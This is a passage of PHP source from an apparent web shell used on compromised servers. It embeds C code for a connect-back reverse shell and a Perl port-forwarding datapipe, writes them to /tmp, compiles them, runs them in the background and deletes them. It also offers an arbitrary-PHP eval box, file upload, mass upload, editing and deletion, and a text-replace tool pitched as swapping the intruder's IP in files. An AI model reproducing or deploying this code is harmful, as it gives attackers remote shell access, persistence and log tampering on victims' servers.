  1238. #include <netinet/in.h>
  1239. #include <netdb.h>
  1240. int fd, sock;
  1241. int port = $port_c;
  1242. struct sockaddr_in addr;
  1243. char mesg[] = \"::Connect-Back Backdoor:: CMD: \";
  1244. char shell[] = \"/bin/sh\";
  1245. int main(int argc, char *argv[]) {
  1246. while(argc<2) {
  1247. fprintf(stderr, \" %s <ip> \", argv[0]);
  1248. exit(0); }
  1249. addr.sin_family = AF_INET;
  1250. addr.sin_port = htons(port);
  1251. addr.sin_addr.s_addr = inet_addr(argv[1]);
  1252. fd = socket(AF_INET, SOCK_STREAM, 0);
  1253. connect(fd, (struct sockaddr*)&addr, sizeof(addr));
  1254. send(fd, mesg, sizeof(mesg), 0);
  1255. dup2(fd, 0);
  1256. dup2(fd, 1);
  1257. dup2(fd, 2);
  1258. execl(shell, \"in.telnetd\", 0);
  1259. close(fd);
  1260. return 1;
  1261. }
  1262. ";
  1263. if(is_writable("/tmp")){
  1264. if(file_exists("/tmp/nst_c_bc_c.c")){unlink("/tmp/nst_c_bc_c.c");}
  1265. if(file_exists("/tmp/nst_c_bc_c.c")){unlink("/tmp/nst_c_bc");}
  1266. $fp=fopen("/tmp/nst_c_bc_c.c","w");
  1267. $bd_c_scp=str_replace("!n","\n",$bd_c_scp);
  1268. fwrite($fp,"$bc_c_scp");
  1269. passthru("gcc /tmp/nst_c_bc_c.c -o /tmp/nst_bc_c");
  1270. passthru("nohup /tmp/nst_bc_c $ip &");
  1271. unlink("/tmp/nst_bc_c");
  1272. unlink("/tmp/nst_bc_c.c");
  1273. }else{
  1274. if(is_writable(".")){
  1275. mkdir(".nst_bc_c_tmp");
  1276. $fp=fopen(".nst_bc_c_tmp/nst_c_bc_c.c","w");
  1277. $bd_c_scp=str_replace("!n","\n",$bd_c_scp);
  1278. fwrite($fp,"$bc_c_scp");
  1279. passthru("gcc .nst_bc_c_tmp/nst_c_bc_c.c -o .nst_bc_c_tmp/nst_bc_c");
  1280. passthru("nohup .nst_bc_c_tmp/nst_bc_c $ip &");
  1281. unlink(".nst_bc_c_tmp/nst_bc_c.c");
  1282. unlink(".nst_bc_c_tmp/nst_bc_c");
  1283. rmdir(".nst_bc_c_tmp");
  1284. }
  1285. }
  1286. $show_ps="1";
  1287. }#end of back connect C
  1288. if($_POST['datapipe_pl']){
  1289. $port_2=$_POST['port_2'];
  1290. $port_3=$_POST['port_3'];
  1291. $ip=$_POST['ip'];
  1292. $datapipe_pl = "
  1293. #!/usr/bin/perl
  1294. # coded by CuTTer (rus hacker)
  1295. use IO::Socket;
  1296. use POSIX;
  1297. \$localport=$port_2;
  1298. \$host=\"$ip\";
  1299. \$port=$port_3;
  1300. \$daemon=1;
  1301. \$DIR = undef;
  1302. ## Âûâîäèòü ëî?ñîáûòè?(1-äà, 0-íå?
  1303. \$log=0;
  1304. \$| = 1;
  1305. if (\$daemon){
  1306. print \"3anycKaeM daemon\n\";
  1307. \$pid = fork;
  1308. exit if \$pid;
  1309. die \"Couldn't fork: \$!\" unless defined(\$pid);
  1310. POSIX::setsid() or die \"Can't start a new session: \$!\";
  1311. }
  1312. %o = ('port' => \$localport,
  1313. 'toport' => \$port,
  1314. 'tohost' => \$host);
  1315. \$ah = IO::Socket::INET->new(
  1316. 'LocalPort' => \$localport,
  1317. 'Reuse' => 1,
  1318. 'Listen' => 10)
  1319. || die \"Íåëü? îòêðûò?ñîêå?äëÿ ñîåäèíåíèé: \$!\";
  1320. print \"Íà÷èíàåì âûïîëíåí? öèêë?\n\" if \$log;
  1321. \$SIG{'CHLD'} = 'IGNORE';
  1322. \$num = 0;
  1323. while (1) {
  1324. \$ch = \$ah->accept();
  1325. if (!\$ch) {
  1326. print STDERR \"Ïðåðâàíî âûïîëåíè?accept: \$!\n\";
  1327. next;
  1328. }
  1329. printf(\"Íîâû?êëèåíò: host %s, port %s.\n\",
  1330. \$ch->peerhost(), \$ch->peerport()) if \$log;
  1331. ++\$num;
  1332. \$pid = fork();
  1333. if (!defined(\$pid)) {
  1334. print STDERR \"Íåâîçìîæíî âûïîëíèò?fork: \$!\n\";
  1335. } elsif (\$pid == 0) {
  1336. ## Íîâû?ïðîöåñ?
  1337. \$ah->close();
  1338. Run(\%o, \$ch, \$num);
  1339. } else {
  1340. print \"Parent: Fork ïðîøåë óñïåøí? çàêðûâàå?ñîêå?\n\" if \$log;
  1341. \$ch->close();
  1342. }
  1343. }
  1344. sub Run {
  1345. my(\$o, \$ch, \$num) = @_;
  1346. my \$th = IO::Socket::INET->new('PeerAddr' => \$o->{'tohost'},
  1347. 'PeerPort' => \$o->{'toport'});
  1348. print(\"Child: Äåëàåì ðåäèðåêò íà \$o->{'tohost'}, ïîðò \$o->{'toport'}.\n\") if \$log;
  1349. if (!\$th) {
  1350. printf STDERR (\"Child: Ïðåðâà?ðåäèðåêò íà %s, ïîðò %s.\n\",
  1351. \$o->{'tohost'}, \$o->{'toport'});
  1352. exit 0;
  1353. }
  1354. my \$fh;
  1355. if (\$o->{'dir'}) {
  1356. \$fh = Symbol::gensym();
  1357. open(\$fh, \">\$o->{'dir'}/tunnel\$num.log\")
  1358. or die \"Child: Ïðåðâàíî ñîçäàíèå ëî?ôàéë?\$o->{'dir'}/tunnel\$num.log: \$!\";
  1359. }
  1360. \$ch->autoflush();
  1361. \$th->autoflush();
  1362. while (\$ch || \$th) {
  1363. print \"Child: Âêëþ÷àåì öèêë.\n\" if \$log;
  1364. my \$rin = \"\";
  1365. vec(\$rin, fileno(\$ch), 1) = 1 if \$ch;
  1366. vec(\$rin, fileno(\$th), 1) = 1 if \$th;
  1367. my(\$rout, \$eout);
  1368. select(\$rout = \$rin, undef, \$eout = \$rin, 120);
  1369. if (!\$rout && !\$eout) {
  1370. print STDERR \"Child: Îøèáêà Timeout.\n\";
  1371. }
  1372. my \$cbuffer = \"\";
  1373. my \$tbuffer = \"\";
  1374. if (\$ch && (vec(\$eout, fileno(\$ch), 1) || vec(\$rout, fileno(\$ch), 1))) {
  1375. print \"Child: Æäåì äàííûõ îò êëèåíò?\n\" if \$log;
  1376. my \$result = sysread(\$ch, \$tbuffer, 1024);
  1377. if (!defined(\$result)) {
  1378. print STDERR \"Child: Îøèáêà ïð?ñ÷èòûâàíèè äàííûõ êëèåíò? \$!\n\";
  1379. exit 0;
  1380. }
  1381. if (\$result == 0) {
  1382. print \"Child: Êëèåíò îòñîåäèíèë?.\n\" if \$log;
  1383. exit 0;
  1384. }
  1385. print \"Child: Äàííûå: \$cbuffer\n\" if \$log;
  1386. }
  1387. if (\$th && (vec(\$eout, fileno(\$th), 1) || vec(\$rout, fileno(\$th), 1))) {
  1388. print \"Child: Æäåì äàííûõ.\n\" if \$log;
  1389. my \$result = sysread(\$th, \$cbuffer, 1024);
  1390. if (!defined(\$result)) {
  1391. print STDERR \"Child: Íåâîçìîæíî ñ÷èòàò?äàííûå: \$!\n\";
  1392. exit 0;
  1393. }
  1394. if (\$result == 0) {
  1395. print \"Child: Ïðîèçîøë?îòñîåäèíåíèå.\n\" if \$log;
  1396. exit 0;
  1397. }
  1398. print \"Child: Äàííûå: \$cbuffer\n\" if \$log;
  1399. }
  1400. if (\$fh && \$tbuffer) {
  1401. (print \$fh \$tbuffer);
  1402. }
  1403. while (my \$len = length(\$tbuffer)) {
  1404. print \"Child: Îòïðàâ?åì \$len áàéò.\n\" if \$log;
  1405. my \$res = syswrite(\$th, \$tbuffer, \$len);
  1406. print \"Child: Äàííûå îòïðàâëåíû.\n\" if \$log;
  1407. if (\$res > 0) {
  1408. \$tbuffer = substr(\$tbuffer, \$res);
  1409. } else {
  1410. print STDERR \"Child: Íåâîçìîæíî îòïðàâèò?äàííûå: \$!\n\";
  1411. }
  1412. }
  1413. while (my \$len = length(\$cbuffer)) {
  1414. print \"Child: Îòïðàâ?åì \$len áàéò êëèåíò?\n\" if \$log;
  1415. my \$res = syswrite(\$ch, \$cbuffer, \$len);
  1416. print \"Child: Äàííûå îòïðàâëåíû..\n\" if \$log;
  1417. if (\$res > 0) {
  1418. \$cbuffer = substr(\$cbuffer, \$res);
  1419. } else {
  1420. print STDERR \"Child: Íåâîçìîæíî îòïðàâèò?äàííûå: \$!\n\";
  1421. }
  1422. }
  1423. }
  1424. }
  1425. ";
  1426. if(is_writable("/tmp")){
  1427. $fp=fopen("/tmp/nst_perl_datapipe.pl","w");
  1428. fwrite($fp,"$datapipe_pl");
  1429. passthru("nohup perl /tmp/nst_perl_datapipe.pl &");
  1430. unlink("/tmp/nst_perl_datapipe.pl");
  1431. }else{
  1432. if(is_writable(".")){
  1433. mkdir(".nst_datapipe_tmp");
  1434. $fp=fopen(".nst_datapipe_tmp/nst_perl_datapipe.pl","w");
  1435. fwrite($fp,"$datapipe_pl");
  1436. passthru("nohup perl .nst_datapipe_tmp/nst_perl_datapipe.pl &");
  1437. unlink(".nst_datapipe_tmp/nst_perl_datapipe.pl");
  1438. rmdir(".nst_datapipe_tmp");
  1439. }
  1440. }
  1441. $show_ps="1";
  1442. }#end of datapipe perl
  1443. if($show_ps=="1"){
  1444. print "<center><b>[ps ux]</b></center><br><br>";
  1445. print "<pre>";
  1446. passthru("ps ux");
  1447. print "</pre><br><br>";
  1448. }
  1449. echo "<form method=post><b>md5:</b><br><input name=md5 size=30>
  1450. <Br>
  1451. md5 online encoder/decoder (brutforce) (php) - [<a href=http://nst.void.ru/?q=releases&download=4>DOWNLOAD</a>]
  1452. </form>
  1453. ";
  1454. @$md5=@$_POST['md5'];
  1455. if(@$_POST['md5']){ echo "md5:<br><textarea rows=1 cols=113>".md5($md5)."</textarea>";}
  1456. echo "<br>
  1457. <form method=post><b>base64 e/d:</b><br><input name=base64 size=30></form><br>";
  1458. if(@$_POST['base64']){
  1459. @$base64=$_POST['base64'];
  1460. echo "
  1461. <b>Encode: <br><textarea rows=15 cols=113>".base64_encode($base64)."</textarea><br>
  1462. Decode:</b> <br><textarea rows=15 cols=113>".base64_decode($base64)."</textarea><br>";}
  1463. echo "<br>
  1464. <form method=post><b>DES:</b><br><input name=des size=30><br>
  1465. John The Ripper [<a href=http://www.openwall.com/john/ target=_blank>Web</a>]</form><br>";
  1466. if(@$_POST['des']){
  1467. @$des=@$_POST['des'];
  1468. echo "<b>Des:</b> <br><textarea rows=15 cols=113>".crypt($des)."</textarea>";}
  1469. print "
  1470. <b>eval:</b<br>
  1471. (example: print \"Hello World\";)
  1472. <form method=post>
  1473. <font color=red><b><?</b><br>
  1474. <textarea name=eval rows=15 cols=113></textarea><br>
  1475. <b>?></b></font><br>
  1476. <input type=submit value=Run style='width:150px;'>
  1477. </form><br>
  1478. ";
  1479. function eval_sl($editf){
  1480. if(get_magic_quotes_gpc()==1){
  1481. $editf=stripslashes($editf);
  1482. }
  1483. return $editf;
  1484. }
  1485. if($_POST['eval']){
  1486. print "<b>RESULT:<br><br></b>";
  1487. eval(eval_sl($_POST['eval']));
  1488. print "<br><br>";
  1489. print "<font color=green><b>PHP:</b><br>\r\n\r\n";
  1490. print "<?\r\n";
  1491. print "<br>";
  1492. print htmlspecialchars(eval_sl(($_POST['eval'])));
  1493. print "<br>";
  1494. print "?>\r\n\r\n</font><br><br>";
  1495. }
  1496. echo $copyr;
  1497. exit;}
  1498. if(@$_GET['replace']=="1"){
  1499. $ip=@$_SERVER['REMOTE_ADDR'];
  1500. $d=$_GET['d'];
  1501. $e=$_GET['e'];
  1502. @$de=$d."/".$e;
  1503. $de=str_replace("//","/",$de);
  1504. $e=@$e;
  1505. echo "[<a href='$php_self?d=$d&del_f=1&wich_f=$e'>Delete</a>] [<a href='$php_self?d=$d&ef=$e&edit=1'>Edit</a>] [<a href='$php_self?d=$d&e=$e&clean=1'>Filesize to 0 byte</a>] [<a href='$php_self?d=$d&e=$e&replace=1'>Replace text in file</a>] [<a href='$php_self?d=$d&download=$e'>Download</a>] [<a href='$php_self?d=$d&rename=1&wich_f=$e'>Rename</a>] [<a href='$php_self?d=$d&chmod=1&wich_f=$e'>CHMOD</a>] [<a href='$php_self?d=$d&ccopy_to=$e'>Copy</a>]<br>";
  1506. echo "
  1507. Replace tool:<br>
  1508. (You can replace any text)<br>
  1509. File: $de<br>
  1510. <form method=post>
  1511. 1. Your ip.<br>
  1512. 2. microsoft.com ip :)<br>
  1513. Replace this <input name=thisX size=30 value=$ip> by this <input name=bythis size=30 value=207.46.245.156>
  1514. <input type=submit name=doit value=Replace>
  1515. </form>
  1516. ";
  1517. if(@$_POST['doit']){
  1518. @$thisX=$_POST['thisX'];
  1519. @$bythis=$_POST['bythis'];
  1520. @$e=$_GET['e'];
  1521. $filename="$d/$e";
  1522. $fd = @fopen ($filename, "r");
  1523. $rpl = @fread ($fd, @filesize ($filename));
  1524. $re=str_replace("$thisX","$bythis",$rpl);
  1525. $x=@fopen("$d/$e","w");
  1526. @fwrite($x,"$re");
  1527. echo "<br><center>$thisX Replaced by $bythis<br>
  1528. [<a href='$php_self?d=$d&e=$e'>VIew file</a>]<br><br><Br>";
  1529. }
  1530. echo $copyr;
  1531. exit;}
  1532. if(@$_GET['t']=="upload"){
  1533. echo "<br>
  1534. <a href='$php_self?d=$d&t=massupload'>* Mass upload *</a><br>
  1535. File upload:<br>
  1536. <form enctype=\"multipart/form-data\" method=post>
  1537. <input type=file name=text size=50><br>
  1538. <input name=where size=52 value='$d'><br>
  1539. New file name:<br>
  1540. <input name=newf size=30 autocomplete=off> (if empty, it will be default)<br>
  1541. <input type=submit value=Upload name=uploadf>
  1542. </form><br>
  1543. ";
  1544. if(@$_POST['uploadf']){
  1545. $where=$_POST['where'];
  1546. $newf=$_POST['newf'];
  1547. $where=str_replace("//","/",$where);
  1548. if($newf==""){$newf=$_FILES['text']['name'];}else{$newf=$newf;}
  1549. $uploadfile = "$where/".$newf;
  1550. if (@move_uploaded_file(@$_FILES['text']['tmp_name'], $uploadfile)) {
  1551. $uploadfile=str_replace("//","/",$uploadfile);
  1552. echo "<i><br>Uploaded to $uploadfile</i><br>";
  1553. }else{
  1554. echo "<i><br>Error</i><br>";}
  1555. }
  1556. }
  1557. if(@$_GET['t']=="massupload"){
  1558. echo "
  1559. Mass upload:<br>
  1560. <form enctype=\"multipart/form-data\" method=post>
  1561. <input type=file name=text1 size=43> <input type=file name=text11 size=43><br>
  1562. <input type=file name=text2 size=43> <input type=file name=text12 size=43><br>
  1563. <input type=file name=text3 size=43> <input type=file name=text13 size=43><br>
  1564. <input type=file name=text4 size=43> <input type=file name=text14 size=43><br>
  1565. <input type=file name=text5 size=43> <input type=file name=text15 size=43><br>
  1566. <input type=file name=text6 size=43> <input type=file name=text16 size=43><br>
  1567. <input type=file name=text7 size=43> <input type=file name=text17 size=43><br>
  1568. <input type=file name=text8 size=43> <input type=file name=text18 size=43><br>
  1569. <input type=file name=text9 size=43> <input type=file name=text19 size=43><br>
  1570. <input type=file name=text10 size=43> <input type=file name=text20 size=43><br>
  1571. <input name=where size=43 value='$d'><br>
  1572. <input type=submit value=Upload name=massupload>
  1573. </form><br>";
  1574. if(@$_POST['massupload']){
  1575. $where=@$_POST['where'];
  1576. $uploadfile1 = "$where/".@$_FILES['text1']['name'];
  1577. $uploadfile2 = "$where/".@$_FILES['text2']['name'];
  1578. $uploadfile3 = "$where/".@$_FILES['text3']['name'];
  1579. $uploadfile4 = "$where/".@$_FILES['text4']['name'];
  1580. $uploadfile5 = "$where/".@$_FILES['text5']['name'];
  1581. $uploadfile6 = "$where/".@$_FILES['text6']['name'];
  1582. $uploadfile7 = "$where/".@$_FILES['text7']['name'];
  1583. $uploadfile8 = "$where/".@$_FILES['text8']['name'];
  1584. $uploadfile9 = "$where/".@$_FILES['text9']['name'];
  1585. $uploadfile10 = "$where/".@$_FILES['text10']['name'];
  1586. $uploadfile11 = "$where/".@$_FILES['text11']['name'];
  1587. $uploadfile12 = "$where/".@$_FILES['text12']['name'];
  1588. $uploadfile13 = "$where/".@$_FILES['text13']['name'];
  1589. $uploadfile14 = "$where/".@$_FILES['text14']['name'];
  1590. $uploadfile15 = "$where/".@$_FILES['text15']['name'];
  1591. $uploadfile16 = "$where/".@$_FILES['text16']['name'];
  1592. $uploadfile17 = "$where/".@$_FILES['text17']['name'];
  1593. $uploadfile18 = "$where/".@$_FILES['text18']['name'];
  1594. $uploadfile19 = "$where/".@$_FILES['text19']['name'];
  1595. $uploadfile20 = "$where/".@$_FILES['text20']['name'];
  1596. if (@move_uploaded_file(@$_FILES['text1']['tmp_name'], $uploadfile1)) {
  1597. $where=str_replace("\\\\","\\",$where);
  1598. echo "<i>Uploaded to $uploadfile1</i><br>";}
  1599. if (@move_uploaded_file(@$_FILES['text2']['tmp_name'], $uploadfile2)) {
  1600. $where=str_replace("\\\\","\\",$where);
  1601. echo "<i>Uploaded to $uploadfile2</i><br>";}
  1602. if (@move_uploaded_file(@$_FILES['text3']['tmp_name'], $uploadfile3)) {
  1603. $where=str_replace("\\\\","\\",$where);
  1604. echo "<i>Uploaded to $uploadfile3</i><br>";}
  1605. if (@move_uploaded_file(@$_FILES['text4']['tmp_name'], $uploadfile4)) {
  1606. $where=str_replace("\\\\","\\",$where);
  1607. echo "<i>Uploaded to $uploadfile4</i><br>";}
  1608. if (@move_uploaded_file(@$_FILES['text5']['tmp_name'], $uploadfile5)) {
  1609. $where=str_replace("\\\\","\\",$where);
  1610. echo "<i>Uploaded to $uploadfile5</i><br>";}
  1611. if (@move_uploaded_file(@$_FILES['text6']['tmp_name'], $uploadfile6)) {
  1612. $where=str_replace("\\\\","\\",$where);
  1613. echo "<i>Uploaded to $uploadfile6</i><br>";}
  1614. if (@move_uploaded_file(@$_FILES['text7']['tmp_name'], $uploadfile7)) {
  1615. $where=str_replace("\\\\","\\",$where);
  1616. echo "<i>Uploaded to $uploadfile7</i><br>";}
  1617. if (@move_uploaded_file(@$_FILES['text8']['tmp_name'], $uploadfile8)) {
  1618. $where=str_replace("\\\\","\\",$where);
  1619. echo "<i>Uploaded to $uploadfile8</i><br>";}
  1620. if (@move_uploaded_file(@$_FILES['text9']['tmp_name'], $uploadfile9)) {
  1621. $where=str_replace("\\\\","\\",$where);
  1622. echo "<i>Uploaded to $uploadfile9</i><br>";}
  1623. if (@move_uploaded_file(@$_FILES['text10']['tmp_name'], $uploadfile10)) {
  1624. $where=str_replace("\\\\","\\",$where);
  1625. echo "<i>Uploaded to $uploadfile10</i><br>";}
  1626. if (@move_uploaded_file(@$_FILES['text11']['tmp_name'], $uploadfile11)) {
  1627. $where=str_replace("\\\\","\\",$where);
  1628. echo "<i>Uploaded to $uploadfile11</i><br>";}
  1629. if (@move_uploaded_file(@$_FILES['text12']['tmp_name'], $uploadfile12)) {
  1630. $where=str_replace("\\\\","\\",$where);
  1631. echo "<i>Uploaded to $uploadfile12</i><br>";}
  1632. if (@move_uploaded_file(@$_FILES['text13']['tmp_name'], $uploadfile13)) {
  1633. $where=str_replace("\\\\","\\",$where);
  1634. echo "<i>Uploaded to $uploadfile13</i><br>";}
  1635. if (@move_uploaded_file(@$_FILES['text14']['tmp_name'], $uploadfile14)) {
  1636. $where=str_replace("\\\\","\\",$where);
  1637. echo "<i>Uploaded to $uploadfile14</i><br>";}
  1638. if (@move_uploaded_file(@$_FILES['text15']['tmp_name'], $uploadfile15)) {
  1639. $where=str_replace("\\\\","\\",$where);
  1640. echo "<i>Uploaded to $uploadfile15</i><br>";}
  1641. if (@move_uploaded_file(@$_FILES['text16']['tmp_name'], $uploadfile16)) {
  1642. $where=str_replace("\\\\","\\",$where);
  1643. echo "<i>Uploaded to $uploadfile16</i><br>";}
  1644. if (@move_uploaded_file(@$_FILES['text17']['tmp_name'], $uploadfile17)) {
  1645. $where=str_replace("\\\\","\\",$where);
  1646. echo "<i>Uploaded to $uploadfile17</i><br>";}
  1647. if (@move_uploaded_file(@$_FILES['text18']['tmp_name'], $uploadfile18)) {
  1648. $where=str_replace("\\\\","\\",$where);
  1649. echo "<i>Uploaded to $uploadfile18</i><br>";}
  1650. if (@move_uploaded_file(@$_FILES['text19']['tmp_name'], $uploadfile19)) {
  1651. $where=str_replace("\\\\","\\",$where);
  1652. echo "<i>Uploaded to $uploadfile19</i><br>";}
  1653. if (@move_uploaded_file(@$_FILES['text20']['tmp_name'], $uploadfile20)) {
  1654. $where=str_replace("\\\\","\\",$where);
  1655. echo "<i>Uploaded to $uploadfile20</i><br>";}
  1656. }
  1657. echo $copyr;
  1658. exit;}
  1659. if(@$_GET['yes']=="yes"){
  1660. $d=@$_GET['d']; $e=@$_GET['e'];
  1661. unlink($d."/".$e);
  1662. $delresult="Success $d/$e deleted <meta http-equiv=\"REFRESH\" content=\"2;URL=$php_self?d=$d\">";
  1663. }
  1664. if(@$_GET['clean']=="1"){
  1665. @$e=$_GET['e'];
  1666. $x=fopen("$d/$e","w");
  1667. fwrite($x,"");
  1668. echo "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?d=$d&e=".@$e."\">";
  1669. exit;
  1670. }
  1671. if(@$_GET['e']){
  1672. $d=@$_GET['d'];
  1673. $e=@$_GET['e'];
  1674. $pinf=pathinfo($e);
  1675. if(in_array(".".@$pinf['extension'],$images)){
  1676. echo "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?d=$d&e=$e&img=1\">";
  1677. exit;}
  1678. $filename="$d/$e";
  1679. $fd = @fopen ($filename, "r");
  1680. $c = @fread ($fd, @filesize ($filename));
  1681. $c=htmlspecialchars($c);
  1682. $de=$d."/".$e;
  1683. $de=str_replace("//","/",$de);
  1684. if(is_file($de)){
  1685. if(!is_writable($de)){echo "<font color=red>READ ONLY</font><br>";}}
  1686. echo "[<a href='$php_self?d=$d&del_f=1&wich_f=$e'>Delete</a>] [<a href='$php_self?d=$d&ef=$e&edit=1'>Edit</a>] [<a href='$php_self?d=$d&e=$e&clean=1'>Filesize to 0 byte</a>] [<a href='$php_self?d=$d&e=$e&replace=1'>Replace text in file</a>] [<a href='$php_self?d=$d&download=$e'>Download</a>] [<a href='$php_self?d=$d&rename=1&wich_f=$e'>Rename</a>] [<a href='$php_self?d=$d&chmod=1&wich_f=$e'>CHMOD</a>] [<a href='$php_self?d=$d&ccopy_to=$e'>Copy</a>]<br>";
  1687. echo "
  1688. File contents:<br>
  1689. $de
  1690. <br>
  1691. <table width=100% border=1 cellpadding=0 cellspacing=0>
  1692. <tr><td><pre>
  1693. $c
  1694. </pre></td></tr>
  1695. </table>
  1696. ";
  1697. if(@$_GET['delete']=="1"){
  1698. $delete=$_GET['delete'];
  1699. echo "
  1700. DELETE: Are you sure?<br>
  1701. <a href=\"$php_self?d=$d&e=$e&delete=".@$delete."&yes=yes\">Yes</a> || <a href='$php_self?no=1'>No</a>
  1702. <br>
  1703. ";
  1704. if(@$_GET['yes']=="yes"){
  1705. @$d=$_GET['d']; @$e=$_GET['e'];
  1706. echo $delresult;
  1707. }
  1708. if(@$_GET['no']){
  1709. echo "<meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?d=$d&e=$e\">
  1710. ";
  1711. }
  1712. } #end of delete
  1713. echo $copyr;
  1714. exit;
  1715. } #end of e
  1716. if(@$_GET['edit']=="1"){
  1717. @$d=$_GET['d'];
  1718. @$ef=$_GET['ef'];
  1719. $e=$ef;
  1720. if(is_file($d."/".$ef)){
  1721. if(!is_writable($d."/".$ef)){echo "<font color=red>READ ONLY</font><br>";}}
  1722. echo "[<a href='$php_self?d=$d&del_f=1&wich_f=$e'>Delete</a>] [<a href='$php_self?d=$d&ef=$e&edit=1'>Edit</a>] [<a href='$php_self?d=$d&e=$e&clean=1'>Filesize to 0 byte</a>] [<a href='$php_self?d=$d&e=$e&replace=1'>Replace text in file</a>] [<a href='$php_self?d=$d&download=$e'>Download</a>] [<a href='$php_self?d=$d&rename=1&wich_f=$e'>Rename</a>] [<a href='$php_self?d=$d&chmod=1&wich_f=$e'>CHMOD</a>] [<a href='$php_self?d=$d&ccopy_to=$e'>Copy</a>]<br>";
  1723. $filename="$d/$ef";
  1724. $fd = @fopen ($filename, "r");
  1725. $c = @fread ($fd, @filesize ($filename));
  1726. $c=htmlspecialchars($c);
  1727. $de=$d."/".$ef;
  1728. $de=str_replace("//","/",$de);
  1729. echo "
  1730. Edit:<br>
  1731. $de<br>";
  1732. if(!@$_POST['save']){
  1733. print "
  1734. <form method=post>
  1735. <input name=filename value='$d/$ef'>
  1736. <textarea cols=143 rows=30 name=editf>$c</textarea>
  1737. <br>
  1738. <input type=submit name=save value='Save changes'></form><br>
  1739. ";
  1740. }
  1741. if(@$_POST['save']){
  1742. $editf=@$_POST['editf'];
  1743. if(get_magic_quotes_runtime() or get_magic_quotes_gpc()){
  1744. $editf=stripslashes($editf);
  1745. }
  1746. $f=fopen($filename,"w+");
  1747. fwrite($f,"$editf");
  1748. echo "<br>
  1749. <b>File edited.</b>
  1750. <meta http-equiv=\"REFRESH\" content=\"0;URL=$php_self?d=$d&e=$ef\">";
  1751. exit;
  1752. }
  1753. echo $copyr;
  1754. exit;
  1755. }
  1756. echo"
  1757. <table width=100% cellpadding=1 cellspacing=0 class=hack>
  1758. <tr><td bgcolor=#519A00><center><b>Filename</b></td><td bgcolor=#519A00><center><b>Tools</b></td><td bgcolor=#519A00><b>Size</b></td><td bgcolor=#519A00><center><b>Owner/Group</b></td><td bgcolor=#519A00><b>Perms</b></td></tr>
  1759. ";
  1760. $dirs=array();
  1761. $files=array();
  1762. $dh = @opendir($d) or die("<table width=100%><tr><td><center>Permission Denied or Folder/Disk does not exist</center><br>$copyr</td></tr></table>");
  1763. while (!(($file = readdir($dh)) === false)) {
  1764. if ($file=="." || $file=="..") continue;
  1765. if (@is_dir("$d/$file")) {
  1766. $dirs[]=$file;
  1767. }else{
  1768. $files[]=$file;
  1769. }
  1770. sort($dirs);
  1771. sort($files);
  1772. $fz=@filesize("$d/$file");
  1773. }
  1774. function perm($perms){
  1775. if (($perms & 0xC000) == 0xC000) {
  1776. $info = 's';
  1777. } elseif (($perms & 0xA000) == 0xA000) {
  1778. $info = 'l';
  1779. } elseif (($perms & 0x8000) == 0x8000) {
  1780. $info = '-';
  1781. } elseif (($perms & 0x6000) == 0x6000) {
  1782. $info = 'b';
  1783. } elseif (($perms & 0x4000) == 0x4000) {
  1784. $info = 'd';
  1785. } elseif (($perms & 0x2000) == 0x2000) {
  1786. $info = 'c';
  1787. } elseif (($perms & 0x1000) == 0x1000) {
  1788. $info = 'p';
  1789. } else {
  1790. $info = 'u';
  1791. }
  1792. $info .= (($perms & 0x0100) ? 'r' : '-');
  1793. $info .= (($perms & 0x0080) ? 'w' : '-');
  1794. $info .= (($perms & 0x0040) ?
  1795. (($perms & 0x0800) ? 's' : 'x' ) :
  1796. (($perms & 0x0800) ? 'S' : '-'));
  1797. $info .= (($perms & 0x0020) ? 'r' : '-');
  1798. $info .= (($perms & 0x0010) ? 'w' : '-');
  1799. $info .= (($perms & 0x0008) ?
  1800. (($perms & 0x0400) ? 's' : 'x' ) :
  1801. (($perms & 0x0400) ? 'S' : '-'));
  1802. $info .= (($perms & 0x0004) ? 'r' : '-');
  1803. $info .= (($perms & 0x0002) ? 'w' : '-');
  1804. $info .= (($perms & 0x0001) ?
  1805. (($perms & 0x0200) ? 't' : 'x' ) :
  1806. (($perms & 0x0200) ? 'T' : '-'));
  1807. return $info;
  1808. }
  1809. for($i=0; $i<count($dirs); $i++){
  1810. $perms = @fileperms($d."/".$dirs[$i]);
  1811. $owner = @fileowner($d."/".$dirs[$i]);
  1812. if($os=="unix"){
  1813. $fileownera=posix_getpwuid($owner);
  1814. $owner=$fileownera['name'];
  1815. }
  1816. $group = @filegroup($d."/".$dirs[$i]);
  1817. if($os=="unix"){
  1818. $groupinfo = posix_getgrgid($group);
  1819. $group=$groupinfo['name'];
  1820. }
  1821. $info=perm($perms);
  1822. if($i%2){$color="#D7FFA8";}else{$color="#D1D1D1";}
  1823. $linkd="<a href='$php_self?d=$d/$dirs[$i]'>$dirs[$i]</a>";
  1824. $linkd=str_replace("//","/",$linkd);
  1825. echo "<tr><td bgcolor=$color><font face=wingdings size=2>0</font> $linkd</td><td bgcolor=$color><center><font color=blue>DIR</font></td><td bgcolor=$color>&nbsp;</td><td bgcolor=$color><center>$owner/$group</td><td bgcolor=$color>$info</td></tr>";
  1826. }
  1827. for($i=0; $i<count($files); $i++){
  1828. $size=@filesize($d."/".$files[$i]);
  1829. $perms = @fileperms($d."/".$files[$i]);
  1830. $owner = @fileowner($d."/".$files[$i]);
  1831. if($os=="unix"){
  1832. $fileownera=posix_getpwuid($owner);
  1833. $owner=$fileownera['name'];
  1834. }
  1835. $group = @filegroup($d."/".$files[$i]);
  1836. if($os=="unix"){
  1837. $groupinfo = posix_getgrgid($group);
  1838. $group=$groupinfo['name'];
  1839. }
  1840. $info=perm($perms);
  1841. if($i%2){$color="#D1D1D1";}else{$color="#D7FFA8";}
  1842. if ($size < 1024){$siz=$size.' b';
  1843. }else{
  1844. if ($size < 1024*1024){$siz=number_format(($size/1024), 2, '.', '').' kb';}else{
  1845. if ($size < 1000000000){$siz=number_format($size/(1024*1024), 2, '.', '').' mb';}else{
  1846. if ($size < 1000000000000){$siz=number_format($size/(1024*1024*1024), 2, '.', '').' gb';}
  1847. }}}
